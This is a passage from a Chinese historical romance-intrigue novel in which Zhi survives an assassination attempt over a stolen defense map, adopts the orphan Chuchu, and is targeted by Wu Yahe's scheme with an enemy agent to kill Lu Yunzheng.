对方虽然伸手并不是特别厉害,可她当下没有武器,也不能舍弃希君和高瑾离开,只能拿着烛台防卫。
她一退再退,退到了墙角。
床上希君醒了,她摸着撞疼的额角,一脸懵,看着阿妈大哭起来,双腿直蹬。
高瑾也被希君撞醒,可惜她浑身使不上劲,根本来不及从被子里出来:“夫人!”
阿致看着那渐渐逼近的寒光,难道她要死在最后一步?实在太划不来了,好不容易才解毒活下来。
也不知道陆昀峥什么时候回来。无论如何,她应该要拖延时间,争取更多机会。
阿致立刻开口:“停手!布防图给你。”
她将布防图举在自己身前。
那黑衣蒙面人似乎有些懵,没有预料到对方会主动交出布防图来。
阿致将布防图递给他。
蒙面人思考过后,还是伸手去接布防图。
果然,他并不是专业的死士,目标也不是杀人灭口。
阿致侧耳听到前院似乎有脚步声奔过来。
有希望了,阿致捏紧布防图,从蒙面人面前抽走。阿致将烛台扔向黑衣人,并大喊救命。
黑衣人又气又急,抬刀要杀了她。
此时,高瑾终于坐起身,用尽全身力气,将那装了满满谷壳的枕头扔过去。
黑衣蒙面人挥刀去格挡,转身刺向阿致的脖子。
陆昀峥及时赶到,他的长刀拦在她头上。罗三则上前一步,长剑耍得快如一阵风,将黑衣人逼到房里的另一个角落。
罗三的剑抵在黑衣人脖子上:“谁派你来的?”
黑衣人一声不吭。
罗三扯开他的面巾,他高昂着脖子。
陆昀峥扶着阿致坐在床边,安抚哭闹的希君。
希君一下扑在他怀里:“阿爹!”
她哭得泪眼朦胧的,甚是可怜。
阿致捏着陆昀峥的手,心神终于安定下来,审问那黑衣蒙面人:“是武三小姐派你来杀人灭口的?”
黑衣蒙面人看着阿致,脸色淡如水,他背后的左手微动。
罗三注意到后立刻去扼他的手臂,来不及,黑衣人吞了毒药。
罗三看到他嘴角的白色偏蓝的粉末,立刻退开一步:“侯爷夫人小心,这是鹤顶红!”
果然,过了没多久,这人便七窍流血,倒地身亡。
·
晚上,在前院里,阿致叹了一口气:“可惜线索断了。”
陆昀峥倒不在意这些,他问:“听罗三说你受伤了,哪里受伤了?”
方才在军营里,听说她受伤,他立刻快马加鞭赶回来。幸好,他及时赶回来了。
阿致摇头:“脖子上出了点血,不过没什么大碍。”
“今日特别惊险吧,可惜我不在你身边。”陆昀峥伸手翻开她的领子,查看她的脖子,确实伤口不深,有一道结痂的血印子。
他轻轻拿大拇指在她的脖颈上摩挲。
“我不能总是指望你在身边保护我。”阿致将手中的布防图递给他,“真是可惜了,如果这个线索没断,那么可以直接解除与武三小姐的契约。”
陆昀峥接过布防图,看到她手指的那个模糊印记。
阿致道:“这里之前有人盖章,可是又被磨去了。我依稀能看到个武字。”
“是武字。”陆昀峥对着烛火看了许久,非常确定,“我明日立刻安排人去查武府的账簿。”
有这个足够了。
阿致问:“我不太懂,武府从军营里得到布防图,卖给楼烦细作,为何要在这布防图上盖章呢?万一事发,那他们岂不是跑不脱?”
“那副官应是与武府勾结,要将布防图偷偷卖给楼烦细作。副官自然也怕这武府将他出卖,因此要求武府盖章,这样两人才是上了同一艘船。只是不清楚为何买卖不成,反而拿布防图仅换了两颗解药。”
阿致点头:“哦,这种肮脏的交易,要么双方都成功,要么双方都被拖下水。”
这时候邬春荣将晚饭送上来,陆昀峥才知道,阿致一直没有吃晚饭,在等他回来。
阿致对邬春荣道:“麻烦你去东苑把楚楚叫过来。”
陆昀峥问:“楚楚是谁?”
阿致抿了抿嘴唇,终于下定决心一般:“阿峥,我们往后能抚养楚楚么?”
“这无缘无故的是为何?”陆昀峥解释道,“我不是说不能这样做,而是抚养别人家的孩子总归有些怪。你知道的,我曾经在别人家长大,这种经历并不好。”
阿致先微笑,告诉他一个好消息:“我解毒了。”
陆昀峥十分惊喜,伸手捧住她的脸,用力地亲她的额头:“真的?”
他紧紧抱着她,许久都不舍得放开。
阿致深呼吸,咬着嘴唇,又道:“解药是美娘给我的。她临终之前,将女儿楚楚托付给我了。于情于理,她对我有恩,我不能拒绝。”
她将前因后果给他大概说了遍。
陆昀峥明白她的意思了,美娘已经提出了要求。
虽然这要求有些不合理,但是恩情摆在那里,又是临终托付,怎么也不好拒绝。他沉默了一会:“那楚楚也愿意吗?我记得美娘的丈夫还在世。”
正好这个时候,邬春荣带着楚楚过来了。
七八岁的小女孩个头也有些高,身上穿着两件单薄的葛衣。
阿致招呼她来到身边:“明日我带你去成衣店里面添几件新衣服,今晚上你春荣叔叔会给你添一床厚被子。”
楚楚笑着点点头,一福身,打着手势,这便是谢谢的意思。
阿致问她:“姨母往后会去长安城里生活,不再回保宁,你愿意跟着我一起吗?”
楚楚眼光在陆昀峥身上逡巡,有些讷讷的。她刚才在门外听到这陆侯爷的问话,似乎并不想要养她。
阿致轻轻拍她瘦弱的肩膀,对她微笑:“按你自己
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想的来,愿意就点头。”
楚楚双手捏在一起,浑身不自在,不敢看陆昀峥,但仍旧是对着阿致轻轻点头。
阿致笑着让她回去休息。早些时候,希君和楚楚的晚饭已经安排过了。
待楚楚离开,房间里安静下来,阿致问他:“你怎么想?”
实在不行的话,她得想想其他的办法。
陆昀峥无奈地看着她,伸手将她揽在怀里:“美娘救了你的命,楚楚也愿意跟着,咱们便担起责任来吧。”
“等会我去告诉楚楚,免得她一晚上睡觉不踏实。”阿致亲他的嘴角,“放心,楚楚很聪明乖巧,我想的是到时候回到长安教她认字读书,做生意赚钱,自立自足,她肯学一定能做得好。”
陆昀峥无奈:“你都想到那么远。罢了,你解毒了便好,都听你的。今日我去审讯贺忠,原本想要从他那里得到解药,没想到他选择了自杀。”
阿致一脸震惊:“我记得你说过,他要找你报仇,他放弃了么?”
“嗯,我今日查出来他是云州人士,他没有否认。他的家人在五年前的云州大案中丧生,他以为是我造成的,便想尽办法找我报仇。我告诉他,当时的主事并不是我,但是也没有勇气告诉他,主事的是我表哥。”
阿致愣住:“当年的云州大案,我略闻一二。有一群游牧民被作为诱饵扔给胡虏残杀,作战失败后,主事的将军为了掩盖真相,便将游牧民的所有家人都杀绝了……”
陆昀峥艰难地点头:“当年我表哥犯了大错,瞒不住了,才被革职,换我去边塞处理后事。大概就是因此,贺忠一直以为是我造成的。”
事情太恶劣,不能被草民所知。朝廷一致的意见是由陆昀峥出面严加管制言论,想尽一切办法平息。
所以,贺忠要报仇的话,他陆昀峥也并不无辜。
·
第二日清晨,阿致起得有些晚。
好不容易解毒,她需要好生休养来恢复元气。酣畅淋漓地睡了一整晚,她推开窗,外头阳光明媚,院子里满是光辉。
阿致赶忙梳洗,她有一箩筐的事要做。首先,她打算先带楚楚去成衣点添两件衣裳,不能让孩子冻着;其次,她要去见见王阳,这几年不见,他竟然少了条腿,也不知道他这些年是怎样过的;最后,她还要再安排时间去找武三小姐谈谈契约的事。现在,她已经有了足够的资本,让武三小姐自毁契约。
阿致还没出门,武三小姐造访。
“我说过,你不能住在这院子里。怎么你是要违约?”武娅禾眯眼审视着对面的女子,她脸色竟有些红润,与之前的枯槁完全不同。
阿致让楚楚先回自己院子去,对武娅禾道:“契约的前提是,给我解药。现在我不需要解药,契约自然无效,你与侯爷的婚事也作罢。”
不需要解药?武娅禾面露惊愕,随即冷笑一声:“你记错了吧,契约里写的是我交付解药即可。你要不要解药,与我何干?又凭什么解除契约?”
阿致没有说话。
“既然你自知理亏,那便——”武娅禾得意地道,“把侯爷叫出来,婚事有许多细节要与他商讨。”
49. 第 49 章
武娅禾咄咄逼人地看着阿致,看她沉默就愈加兴奋,抬腿往后院去找陆昀峥。
“且慢。”阿致伸手拦住她,“正如武三小姐所说,你需要提供解药。你的解药呢?你如何证明解药有效?”
武娅禾微微仰头,看着这个鹅蛋脸的女子,看着表面柔和,其实非常的狠毒,说话做事一击即中。
她才意识到,她面对的敌人比想象的更强大。
但武娅禾也不傻,她问道:“你说你不需要解药,你已经解毒?”
阿致看着她,无视她的问题:“还有,在你提供解药之前,契约并没有生效,你无权让我离开。”
武娅禾也执拗地继续问:“你哪里来的解药?”
她本来想问是不是楼烦人给的解药,但是没敢说。万一对方否认,那她便暴露了自己与楼烦人的联系。
阿致叫来邬春荣:“将这位武三小姐请出去。”
邬春荣伸手做了个请的手势。
武娅禾依旧没动,狠狠看着阿致。
听不懂人话是吧?阿致微笑:“下次请武三小姐把解药和契约一定带过来,我们再谈其他,否则,请你现在离开。”
武娅禾冷哼一声,推开邬春荣:“不用你碍事。”
·
按照计划,阿致准备带楚楚出门,添置衣裳,不然就这薄薄的两层衣裳,真的是冻人。楚楚的鼻尖冻红了,双眼肿得像个桃子,看来这孩子昨晚上哭了一整宿。
希君得知阿妈要出门,从床上爬起来,外面袄子都没穿,要跟着一起去市集。
阿致不愿意她去:“希君,听话,不能闹,阿妈和楚楚姐还有其他事情,不方便带着你。”
阿致也不想拒绝,但是等会她们买完衣裳,还要去个地方,那地方不适合希君这样的小孩子去。
希君仍旧不听,八爪鱼一样挂在阿妈身上:“我就要去!”
这丫头,真是不听话。阿致好说歹说都没用,于是发了脾气,叫邬春荣过来,将小丫头抱进房里去。
楚楚在一旁安静站着,看到阿致满脸的怒气,有些不安,她冻红的双手扣在一起,终究上前两步,轻轻拍着希君的肩膀,微笑给她打了个手势。
希君竟然不再闹腾,从阿妈身上下来,垂头丧气的:“好吧,那我不去了。”
邬春荣伸手,赶紧系好小姐身前的系带,牵着她回房去。
阿致看她这模样好笑,于是问楚楚:“你刚说的什么?”
说完,阿致才意识到失礼,跟楚楚道歉。从昨日开始,阿致好几次闹了这样的乌龙。
楚楚微微摇头,表示没关系。
这时候希君突然回头,笑逐颜开:“阿妈,你看不懂手语,你怎么跟楚楚姐说话呢?带我去吧!”
阿致一惊,和楚楚相对无言,只能答应将希君带上。小孩子好奇心强,学什么都很快。
希君鬼精鬼精地扭来扭去。
一大两小乘着马车,前头是邬春荣在赶车。她们先去给楚楚置办成衣。
现在保宁城里生意不好做,许多老板关门了。阿致牵着两个小孩找了几条街,终于找到一个开着门的成衣店。老板店里成衣不多,没有特别适合楚楚的尺码。
老板望着希君楚楚眼放精光,如同发现了童女的老妖精,拍着胸脯承诺:“如果夫人需要,两日内便可以赶出一身衣裳来。”
阿致点点头,让楚楚自己挑一身外袄、衫裙应急。楚楚无心这些,便随手拿了一件要换上,反而是希君在旁边蹦来蹦去的,要给姐姐挑更好看的。
老板也说:“小姑娘家家的,这个鹅黄色多衬你,就该选些鲜亮的颜色。”
阿致按住希君的头,让楚楚选了个比较素的花色,另外让老板拿出一套白色孝服,给她套在外头。
老板看了看楚楚肿起来的双眼,瞬间明了,给楚楚拿了一件合尺寸的孝服,叠好递给她。
楚楚将孝服紧紧抱在怀里。
希君仰头看阿妈:“这就是孝服?孝服做什么用的?”
阿致按住她的头,让老板记下楚楚的尺寸、喜欢的布料花色,叮嘱他做全套的两身衣裳,尽快送到府院里去。
老板收下定金,欢天喜地地送走了财神爷,舒展筋骨,精神抖擞叫上后房里的老伴:“老婆子,有生意啦!”
“知道,熬夜也要赶完!”后房里的老婆婆瘫了许久,用力将自己支起来,靠在靠背上。
阿致从成衣店出来,大家重新上了马车。
邬春荣捏起缰绳:“夫人,是逛着玩玩,还是回去?”
“去义庄。”
“义庄?”邬春荣惊得大牙都要掉了,随即拍自己的嘴巴:“好嘞。”
“阿妈,我们去义庄做什么?”希君一脸天真无邪。
楚楚一脸落寞地坐在一旁,低头垂眼,看着马车里铺着的鬃毛毯子。
昨日,也是马车,也是这样的鬃毛毯子,里头沾满了鲜红的血迹,蔓延得到处都是。
阿致摸摸希君的头:“楚楚姐姐的娘去世了,在义庄停灵。我们去看她。”
昨日将到城门口时,美娘便断了气。那时天色不早了,一时很难决断怎么处理,便将美娘的尸身放在了义庄保管。
“楚楚姐姐的娘去世了……”希君睁大眼,满脸不可思议,虽然她也并不完全明白什么是去世。
从小到大,希君对去世的印象不多。比如,她从小没有爹爹,比她大的小孩子手拉手便嘲笑她爹去世了,所以她娘是寡妇,而她是遗腹子。没人愿意跟她玩,除了家住后排的土豆哥。土豆哥同样没有爹爹,他说他爹爹去天上当神仙了。希君不信,因为她的阿爹总是偷偷来看她,在密县的时候就是这样,现在她的阿爹回来了。所以去世也不是一件很可怕的事。
不过希君总算明白了,人去世了,女儿就要穿孝服,她看着楚楚姐怀里抱着的白色孝服,仰头甜甜对阿致道:“阿妈,以后你去世了,我也给你穿孝服。”
阿致被她一句话惊得咳嗽起来。这个死丫头。
但阿致也不好对她发脾气。
反而是一旁的楚楚急得给希君打手势。
希君一脸尴尬,龇牙笑着给阿妈道歉:“原来去世是
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不好的事,不能乱说。阿妈我错了。”
希君很听楚楚的话。阿致很欣慰,抓住机会教育:“不知者不罪,但是知道自己错了,就要改,是不是?”
希君点头,决心很充足的模样。
阿致伸手摸着她的头顶,细细的绒毛,到处都是碎碎的,十分可爱。作为母亲,她很懂得美娘临终前的不甘和不放心。
就这么一路沉默着到了义庄,快下马车时,阿致将希君留在了马车上,她帮楚楚穿上白色孝衣,往义庄里头走去。
义庄的管事是个孤寡老头,义庄里也有三三两两的人来祭拜自己的家人。
楚楚一直忍耐眼泪,到了义庄里,再次走到美娘的棺材前,她的泪水涌出来,漫过了眼眶,视线都模糊了。
她伏在棺材边上,看着美娘的脸,苍白的,眼睛紧闭。楚楚伸手去摸美娘的手,一片冷硬,这寒冷顺着她的掌心,一路窜进了她的心口,要终生驻留。
阿致看着心生不忍,七日之后入葬,楚楚这辈子都不会再有机会见到她母亲。十年之后,楚楚还会思念她的母亲,可是她还会记得母亲的面容吗?
对于生者来说,记不住曾经珍爱的人,那心中的痛苦就好比无根的浮萍,又好比风中游荡的柳絮,没有承托。
这时候,一个年轻男子走进来,一脸书生气,胳膊上夹着一个木匣:“哪位是楚楚姑娘?”
楚楚站起来,泪眼朦胧看着他。
阿致对那年轻男子招呼:“是我请你来的,麻烦你帮这位小娘子画像。”
楚楚看着阿致,不管地上是否干净,立刻跪下去,要给阿致拜一拜。
阿致立刻走开,拦住她:“在这里拜活人不吉利。你的心意我知道,没事的。”
·
深夜,整个院子里,只有前院亮着烛火,阿致在给陆昀峥缝鞋子。他这些天早出晚归的,鞋都要跑烂了,偏偏他又是不在乎衣着用度的。
鞋子后跟给他缝好了,陆昀峥也回来了。
听到马匹哒哒哒绕到后院,阿致放下针线,提着灯往后头去。
还没走到后头,就听到陆昀峥与罗三在谈论些什么,似乎是要找一个叫“戈风柏”的人。
陆昀峥看到她,大步过去:“刚好的身子,怎的不多穿件毛裘?”
阿致摇头:“这些都没所谓的,就等着你回来有事商量。”
“你这性子。”陆昀峥无奈地搂着她的肩膀,将自己身上的毛裘盖在她身上。
一股温暖瞬间笼罩了阿致全身,她嘴角翘起来。
这就是她想要的生活。所以她不想放任那一份契约带来的威胁,她要尽快解决。
阿致问:“你这几日什么时候有时间?”
“做什么?”
“我想要你陪着我,一道去武府,和那三小姐对峙,取消契约。”
“你已经解毒,不需要解药,契约自然不必履行。”
阿致将今日早些武三小姐找上门来的事说给他听,又信誓旦旦道:“此事如果要圆满些解决,还须得你与我一道去,最好还多带几个人。”
50. 第 50 章
“为何要多带几个人?”陆昀峥问。
“我认为那解药或许有毒。”阿致道,“昨日在城外,美娘逃走之前,她给我留了一封信,信中说有人要杀我灭口,让我赶紧逃走。也就是说楼烦细作一早就准备要杀了我,杀我的原因也很简单,或许能动摇你的精力。所以,我猜楼烦细作给武三小姐的解药中至少一颗是有毒的。”
“也有道理,定契约的那一日,武三小姐听说第一颗解药是给希君的,她便明显松了一口气。”陆昀峥点头同意此事,“今早派人去查武家这几年的账簿与暗中操作,想必两天后会有进展,到时候我与你一道去武府了结此事。”
邬春荣打来热水到隔壁的净室,让陆昀峥洗漱。
陆昀峥洗漱完毕,他和阿致干脆宿在了隔壁房里,反正有暗卫保护着希君。昨晚的刺杀之后,陆昀峥在院子里加派暗卫人手。
吹过烛火,两人躺在床上,阿致忽然想起来一件事:“你方才是要寻什么人?”
陆昀峥愣了一下,还是决定直说:“戈风柏,一个暗卫。五年前,你离开长安,我派他跟着你去到密县,保护你——”
“等等,五年前你便知道我有孕了?”阿致惊诧得无以复加,仿佛听到了天方夜谭。
“嗯。”陆昀峥在被子里伸手,握住她的手。
“什么时候知道的?”阿致从被子里起身,一只胳膊支着,侧向陆昀峥,一头青丝也垂在他的枕侧。
陆昀峥摇头:“咱们回到长安之后的许多事我都不记得,我只记得你走后,我还在侯府里时,做了此安排。后来几年,戈风柏时不时写信,把你的近况告知我。只是一年前,我失忆后,便再也没有获知他的消息,因此也并不记得他的存在。”
现在想来,那暗卫或许是已经出了事。不管出了什么事,陆昀峥都一定要弄清楚才行。
“所以,你一直都知道希君的存在……”阿致无力地躺回被窝里,忽然想起希君那些“土豆”、“丧彪”的玩笑话,抬头看他,“你曾经去密县看过希君?”
说完,阿致脸上两行泪涌出来。
“嗯。”陆昀峥笑着坐起来,伸手擦掉她脸上的泪,“我也去看过你。虽然我不记得当时发生了什么,让我不得不送走你,但是阿致,我从来没想过放弃你,我一直想的是建功立业后,等到我足够强大,能自己做主——”
阿致抬手捂住他的嘴唇,再也忍不住,咬牙哭起来。
陆昀峥笑着捏开她的手掌,一只胳膊撑着,伏在她侧边,轻轻拍她的肩膀:“我说出来不是为了让你难过。无论好事坏事,我只是希望咱们可以摊开来说,一起面对。”
阿致说不出一句话来,咬唇看着他的眼睛,在黑夜里亮晶晶的,她伸出双手紧紧抱着他。
她曾以为自己足够聪明,能够算尽所有事,能够背负所有委屈。可是那几年的委屈,到这一刻她才看透——因为觉得自己隐忍付出更多,才会不甘心,才会生出痛苦。可也是到了这一刻,她终于明白,陆昀峥付出的并不比她要少。
陆昀峥低头亲吻着她的额头,阿致仰起头,双唇贴着他的,右手手指从他的后脖颈划过,往上插、入他的发丝。
·
第二日天不亮,陆昀峥起床准备出门,临近战事,他越发的繁忙。
陆昀峥穿好外头的长袄,叮嘱她:“这几天都不用等我吃晚饭。”
“知道知道,你说过多少遍了。”阿致躺在温暖的被窝里,打个哈欠道,“我想见见王阳,他在哪里?”
陆昀峥把王阳安排在了别的房子里住,他穿好鞋,衣冠齐整:“这两日让他帮着追查武府的事去了,等过明日,他应该能闲下来,会来找你。”
王阳昨日到了保宁城,便想来见阿致。不过当时美娘突然死亡,高瑾受伤,大家忙得不可开交,王阳不敢叨扰。
“还要等明日啊。”阿致想了想,“王阳的腿怎么回事?”
陆昀峥正抬脚准备出去,他的步子顿了一下,回头看着她:“云州大案发生的时候,他被人误伤,伤很重。好在一位大夫医术精通,替他截腿之后保住一命。后来,他回到长安去结婚生子——”
“生孩子了?”阿致脸上的错愕终于多了一丝欣喜。
陆昀峥脸上也带了笑:“一子一女,好几岁了,与夫人琴瑟和鸣、举案齐眉。”
“这可真好。”阿致还记得,王阳曾说过,他有一个非常喜欢的女子。
看来是有情人终成眷属啊。
·
武娅禾躺在床上,睁开眼睛,眼下一片青黑,胸闷到极点。
这两日她根本没怎么睡觉,需要担心的事实在太多。先是将布防图交给了楼兰细作,那含有武府印章的布防图便成了头上随时可能掉下来的铡刀;后来,好不容易盼到王致回来,武娅禾便知道,布防图落在了王致一介小女子的手中,这王致偏偏是陆昀峥的枕边人,这比布防图落在楼兰细作手里还要可怕。
问题是,前日派去偷布防图的杀手,根本没有回来。武娅禾派人去府衙打听消息,一天一夜了,还是没有任何动静。
更严重的是——王致说她不需要解药了,那她手中的解药和契约……
武娅禾深吸气,“咚咚咚”,一阵急切的敲门声响起。
武娅禾赶紧从床上起来,批了一件简单的外衣,开门将门外的人放进来:“詹达,怎么样,衙门那边有什么消息?”
武娅禾的手指抓紧了外衣的领口,她很担心听到不好的事,比如说那杀手被活捉了。
詹达是个瘦高且斯文的男子,书生气十足,瘦长脸,此刻他大喘着气,还知道先关上房门,抬手指着外头渐渐翻白的天空,粗着声音道:“小姐,地牢里的那个跑了。”
“哪个?”武娅禾不耐烦地尖叫,她头痛欲裂,伸手按住额头。地牢里的那些人,哪一个跑了都要命。
“就是……最开始来的那个。”詹达吸着清晨的冷气,五脏六腑都透透凉。
武娅禾非常生气,从喉咙里爆发出低沉的泄气一般的吼声:“啊!”
她的手掌握拳,快速抖动着:“快去追,发动所有人去追!”
“好,我让他们找到就灭口。”詹达抹了一把脸上的冷汗。
武娅禾缓缓摇头,皱着眉头道:“暂时……不行,先活捉!”
“小姐,当初就是心软没有直接斩草除根,才会出现今日这样的祸患。这个人不能被任何人发现,不然……”詹达睁大眼睛,看着武娅禾,极力压制心中的恐惧不安。
“哐——”有人一脚踹开了房门,一边的房门歪了大半,门栓上下弹动,就像瑟瑟发抖的小动物。
武娅禾目瞪口呆:“阿爹。”
“不要叫我阿爹!”武进善气得胡子撅老高,就像啃了满嘴草的山羊,他看着披头散发一身中衣的女儿,气不打一处来,又一脚踹开了詹达,“你们这些混账东西,由着这个丫头做混账事,竟然不告诉我。”
武娅禾心如擂鼓,总觉得自己做的事被发现了,但她又希望阿爹没有发现,于是侥幸地道:“阿爹……你在说什么?”
武进善怒气直喷,唾沫喷得到处都是:“你一直把甄家那个小子关在地牢里,还让他跑了?”
之前,城东别院的地牢关着人,武进善听下人说过,但他没有当回事,那是他三女儿的院子,给了便不再过问,也没什么可过问的,他不认为这个聪明的女儿能惹出什么事来。今早听下人说,别院地牢里逃出来的竟然是甄家那小子,武进善几乎要气疯了,他这个三女儿给他干了一个好大的炮仗啊!
武娅禾从喉咙里挤出一声:“唔。”
武进善脸涨
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得通红,气得说不出话来,一巴掌扇在武娅禾脸上。
武娅禾的脸偏向一侧,她捂着火辣辣的脸,强忍着眼泪。
武进善看着她,双手扶着老腰:“你这个蠢货!原来布防图是你偷的。是你偷的吧?”
武娅禾抿紧嘴唇,突然昂起头来,一个字不说。
武进善气得又是拍大腿,又是跺脚:“我怀疑谁都没有怀疑你!竟然是你偷了布防图!你偷就偷了,也知道甄家小子知道此等秘密,你为何要留甄家那小子的活口?你说说,你为什么要偷布防图?”
武娅禾微微张嘴,嘴唇嗫嚅,似乎在思考措辞。
武进善没有耐心,他挥手道:“算了,不用你说了,我不关心这个。你给我立刻、马上把甄家小子找到、杀了!”
“阿爹,你不用担心,我会把甄家小子抓回来,不会让别人知道——”
“不会让别人知道?”武进善气得胡须炸毛,几乎根根分明,他差点晕了,深呼吸一口,“那个陆将军都查到我武府来了,你还说不用担心?不担心,等着明日全家掉脑袋?”
如果当初这个三女儿没有偷布防图,武进善只要将甄家小子灭口,这事便完美处置了;可惜被这个自以为聪明的三女儿,搞得到处是破绽,一家人的头颅不得安生。
武进善咬牙切齿地强调:“立刻把甄家小子杀了。”
武娅禾紧咬着牙关,艰难点头:“是。”
武进善气得直抖,他走之前背对着女儿怒叹一句:“一母同胞的,你怎的比你大姐姐差那么多。”
武娅禾浑身冰凉,撅起嘴,眼泪涌出来:“阿爹!”
武进善回头看着她,倒是想看看她有什么好辩驳的。
武娅禾高昂着头颅:“阿爹,你不必过于担心。天底下没有自家人查自家人的道理。女儿早就算计好了,只要能嫁给陆昀峥,他便不会查我们府里。”
“陆昀峥已经怀疑到你爹我的头上,你猜他还会不会想跟你成婚?”之前,听说陆昀峥心悦自己的三女儿,武进善欢天喜地的,只等着自己的女儿成为侯夫人,他便能沾光,还能连带捞些好处。因此,武进善罕见地请几个朋友喝了一桌酒菜,他请客。
武娅禾从自己床头找出那一纸契约来,展开在阿爹面前:“签了契约,他会娶我。”
武进善压下怒火,去看那一纸契约,确实有模有样的……原来陆昀峥要同这个女儿成婚,是被迫的。不过武进善也不在乎此事,他只希望这事赶紧解决,他眯着眼道:“万一他执意要查我们府怎么办?”
他的脸色算不上和颜悦色,但比刚才是雨过天晴了。
武娅禾眼露寒光:“既然是我惹出来的事,那我会杀了所有要查武府的人。”
她会杀了陆昀峥,还有王致。
武进善一挥衣袖走了,房中再次安静下来。不知不觉,竟然已经天亮了。
角落里的詹达站出来:“小姐,那个陆侯爷会按照契约成婚吗?”
武娅禾伸手打断他,面无表情吩咐道:“去,派人杀了甄家小子。若是谁与他接触过,也都杀掉。”
她,要大开杀戒。
·
别院的地牢里,一共两间房。
其中一间的木门开着,地上一片狼籍,有干草,还有撒在地上的米饭。
另一间里关押着一个女人,她全身黑袍,不过这次没有戴着帽子,也没有黑巾蒙面,露出了满头银丝和长满皱纹的脸。即使双手双脚被铁链束缚,她的眼睛里仍旧是桀骜不驯。
武娅禾走到木门前,看着她:“你帮我杀了陆昀峥和那院子里所有人。”
齐护法冷哼一声:“你把我捉来关押在这里,凭什么认为我会听你的命令?”
“我会给你想要的。”
齐护法脸上的冷笑渐渐凝固。
51. 第 51 章
前两日,齐护法收到飞鸽传信,得知美娘倒戈,出卖主教,导致布防图最终没有送出去,反而作为证据留在了陆昀峥的手里。齐护法又气又急之下,中了圈套,被武娅禾捉来,关在地牢里一天一夜。
阴暗的地牢中,潮湿寒冷,只有一盏微弱的烛火长明。
齐护法已经做好了被拷打、虐待甚至杀死的心理准备,因此她压根不打算屈服。她一把年纪了,什么事情没有经历过,没有见识过呢?
只是,齐护法没有想到,武娅禾会大言不惭地说要给她想要的。武娅禾这是想要协商。
齐护法蹲坐在冰冷的稻草上,直起腰背,看着武娅禾:“那你觉得什么是我想要的呢?”
武娅禾俯视着齐护法,眼神锐利:“我会再给你一份布防图。”
齐护法眯着眼睛,满脸难以置信,几乎怒吼出来:“你之前给我们的布防图是假的?”
武娅禾双手背在身后,仰起下巴:“我武三小姐言出必行,不可能会给假的。”
“如果之前是真的,你到哪里再找一副布防图?”
武娅禾的嘴角翘起,十分得意:“你或许曾听说过我武娅禾一目十行、记忆卓群?”
齐护法迟疑地看着她。
武娅禾清了清嗓子,不耐烦地撇嘴道:“真正的布防图我早就记下了。但凡你愿意帮我把事情办好,我便能给你摹出一副布防图来。”
齐护法哈哈大笑。
“你笑什么?”武娅禾有些生气了。
“你这是把我当三岁小孩糊弄?”齐护法冷哼一声,“你光靠一张嘴就想让我相信你,为你去以身犯险?那陆昀峥可不是路上随便一个人,说杀就能杀掉。”
武娅禾的脸色变冷,但她仍旧昂着头颅,从腰间掏出一张纸来,徐徐展开到牢门前:“信不信由你,这可是你们获得布防图的唯一机会。”
齐护法打量对方认真的神情,伸着脖子凑过去看,似乎真是布防图,但一时之间难以辨别真假。
齐护法眯着眼睛,拖动手上的锁链,想要捏着那张纸细看时,武娅禾一把将布防图抽走了。
齐护法的手顿在空中。
武娅禾撇嘴,得意地笑:“只要你们帮我办成事,我便给你这张布防图。当然,我以自己的名义保证,这张布防图绝对是真的,但凡你们能证明它是假的,欢迎随时来取我的性命,我武娅禾敞开门随时欢迎。”
齐护法快速思考对方所说的话,不像是有假。要杀掉保宁城中的武三小姐,那确实相当容易,比杀掉陆昀峥容易多了。
“好。”齐护法爽快道,“给我三天时间,我会不惜一切代价杀了陆昀峥和他身边的人。”
“三天?”武娅禾冷笑一声,看着齐护法,仿佛看着天真的小孩,“最多两天。”
“陆昀峥不是那么好杀的,他身边暗卫成群,部署严密。三天已经是极限。”
“两天。”武娅禾的脸紧绷,她将那张纸捻在食指与中指之间,挥舞到即将熄灭的蜡烛之上,烛火顺着纸张的一角,快速生出火舌来,将那张纸整个吞没,整个地牢,瞬间变得格外明亮、温暖。
对于武娅禾来说,她等不了三天,因为陆昀峥已经查到她爹武进善,继续拖下去,凶多吉少。
整张纸烧完,变成了灰烬,地牢里重新归于黑暗,或者说是比之前更冷的暗。那根蜡烛也快要燃烧殆尽。
武娅禾扔掉手中最后一点碎屑,转身就走。
“好,两天就两天。”齐护法一口牙都要咬碎了。
武娅禾翘起嘴,仿佛预判了自己的胜利一般,脚步轻快地转身回来,拿出钥匙,将钥匙叮叮叮敲在铜锁上:“还有个问题,你给我的第二颗解药,真的能解毒?”
那天,武娅禾去陆昀峥的院子里,见到了王致,王致说不要解药,这让武娅禾非常的介意。既然王致不要解药,那就说明对方已经解毒。再则王致提到过,让她确认解药的有效性……武娅禾一直担心她手上的解药或许是假的。
而如果解药是假的,那她手中死死捏住的契约,不过是一张废纸。
齐护法听她说完这话,撇嘴笑起来:“你是说到做到的,我也一样。给你的第二颗解药绝对是有效的。”
第二个解药当然是真的,但不代表王致用了它就会平安。从美娘手中拿过解药之后,齐护法又在上面涂了毒药,她始终认为,只要能够杀掉陆昀峥在乎的人就能够动摇他的心神,多少能让他在战场上作出不理智的决定,从而增加楼烦的胜算,这也是完成了主教传下来的任务。
武娅禾眯眼看着齐护法,绷着声线:“说实话,真的有效?”
齐护法突然闻到了猫腻,先前交易的时候,武三小姐压根不关心解药是否真的有用,到了这个时候,竟然开始追究……齐护法忽然想起来,这解药是从美娘手中拿来的,因此这解药到底真不真,只有美娘知道,而美娘又倒戈了……
答案呼之欲出,齐护法微笑着与武三小姐对视:“信不信由你。”
·
别院门口,武三小姐目送着齐护法远去,她身边站着一脸焦急的詹达。
詹达问:“小姐,原来的布防图上有咱们府里的印章,要不要一起偷回来?”
“不用急,只要能够杀了陆昀峥或者王致,就能让军营里阵脚大乱,到时候再说服阿爹,动用手中的关系,将那个布防图偷天换日,自然就能雨过天晴。”
·
这一日傍晚,天还没黑的时候,邬春荣将楚楚从义庄接回来。
阿致让厨娘把烧好的热水给楚楚送过去,希君也跟着去楚楚的房里,缠着她的楚楚姐姐。楚楚这两日哭丧,眼睛红肿,希君可心疼了。
正要做晚饭的时候,家里来客人了。
“雪致?”
阿致听到熟悉的声音,愣了一下,随即快步往大门口跑去,看到拄着拐杖的人,两人都眯眼笑了。
陆昀峥说的果然没错,王阳的事情做完了,他便自己寻着过来,骑着一头小毛驴。
阿致给他把毛驴系在院子里,又拿了些马吃的干草来喂。本想叫邬春荣过来上茶,但他在后厨里帮着厨娘做饭。阿致赶紧让他再去买两条鱼来。
王阳喜欢吃鱼,阿致还记得。
王阳伸手想要拦着阿致,阿致风风火火地道:“你别客气。”
说完,她又转身去找茶叶,给王阳泡茶。
